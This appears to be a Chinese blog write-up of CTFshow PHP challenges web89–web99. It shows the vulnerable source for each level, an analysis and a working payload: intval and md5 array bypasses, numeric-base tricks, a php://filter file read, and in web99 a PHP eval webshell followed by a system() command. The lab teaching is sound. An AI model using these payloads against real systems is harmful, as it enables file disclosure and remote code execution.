CTFshowPHP特性

目录

web89

代码分析

playload

web90

代码分析

playload

web91

代码分析

playload

web92

代码分析

playload

web93

代码分析

playload

web94

代码分析

playload

web95

web96

代码分析

playload

web97

代码分析

playload

web98

代码分析

playload

web99

代码分析

playload


web89
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
代码分析
if(isset($_GET['num'])){   #检查参数是否为num,是则下一步
if(preg_match("/[0-9]/", $num)){
        die("no no no!");         #正则表达式是否包含数字0~9,如果包含则结束程序
if(intval($num)){  
    echo $flag;        #使用 intval 函数将 $num 转换为整数,如果转换后不为0则输出flag      
playload

这题我们用数组绕过

?num[]=

web90
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
代码分析
if($num==="4476"){
        die("no no no!");     #如果字符串=4476就结束程序
if(intval($num,0)===4476){
        echo $flag;           #使用 intval 函数将 $num 转换为整数,如果转换后为4476则输出flag
playload

可以用进制绕过

?num=0x117c

也可以用intval函数进行绕过

intval("4476a") 会返回 4476,而 intval("a4476") 会返回 0。
因此,即使 num 参数包含非数字字符,只要这些字符后面跟着数字 4476,intval 仍然会返回 4476

所以构造

?num=4476a

web91
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
代码分析
$a=$_GET['cmd'];   #cmd 参数的值,赋值给变量 $a
if(preg_match('/^php$/im', $a)){  #使用preg_match函数检查 $a是否完全匹配字符串 php
'^php$'   #表示字符串必须从头到尾完全等于 php
im        #i 表示不区分大小写,m 表示多行模式
echo 'hacker';   #完全匹配字符串 php则输出hacker
if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
                    #如果 $a 完全匹配 php(不区分大小写),则输出 hacker,否则输出flag
else {
    echo 'nonononono';
}                         #如果 $a 不匹配 php,则输出 nonononono

playload

?cmd=%0aphp

web92
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
代码分析
    }else{
        echo intval($num,0);     #如果条件不为4476,则输出转换后的整数值
playload

用进制绕过

?num=0x117c

web93
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
代码分析
if(preg_match("/[a-z]/i", $num)){    #使用正则表达式检查 $num 是否包含任何字母(不区分大小写)
        die("no no no!");
    }                           #如果 $num 包含字母,程序将立即终止,并输出 "no no no!"。
playload

可以用8进制数绕过

?num=010574

web94
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
代码分析

与上题相比较,多了一个strpos函数

if(!strpos($num, "0")){
        die("no no no!");    #开头如果是数字0,则输出no no no!
playload

?num=+010574

可以用+来绕过

web95
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

同上

web96
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
代码分析
if(isset($_GET['u'])){   #参数要为u
    if($_GET['u']=='flag.php'){
        die("no no no");    #如果参数u=flag.php则输出no no no
}else{
    highlight_file($_GET['u']); #如果参数u不等于flag.php,则highlight_file 函数高亮显示用户指定的文件内容。(报错)
playload

?u=php://filter/convert.base64-encode/resource=flag.php

直接用伪协议读取flag.php文件

?u=./flag.php

也可以绕过

web97
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
代码分析
if (isset($_POST['a']) and isset($_POST['b'])) {
               #检查是否存在名为 a 和 b 的 POST 参数,
if ($_POST['a'] != $_POST['b'])  #检查 a 和 b 的值是否不相等
if (md5($_POST['a']) === md5($_POST['b']))  #检查 a 和 b 的md5值是否相等
playload

post数组绕过

a[]=1&b[]=2

web98
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
代码分析
$_GET?$_GET=&$_POST:'flag';   # 三元运算符,$_GET为真则执行$_GET=&$_POST,假则为flag
$_GET   $_GET['flag']   #数组
$_SERVER     #值为$_SERVER
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);  #如果get参数HTTP_FLAG的值为flag,就输出flag

$_GET 值为$_POST
如果$_GET 也就是$_POST['flag']=flag
$_GET = $_COOKIE
$_GET['flag'] = $_COOKIE['flag']
$_GET['flag'] = 'flag'

playload

get:?1=2 #这里似乎任何字符都可以

post:HTTP_FLAG=flag

web99
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
代码分析
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}     #检查参数n是否存在,如果条件满足,
则使用 file_put_contents() 函数将 $_POST['content'] 的内容写入到文件 $_GET['n'] 中。

所以可以写入一句话木马

playload

get:?n=203.php

post:content=<?php @eval($_POST[1]);?>

1=system("tac flag36d.php");

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

.WTT001.

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值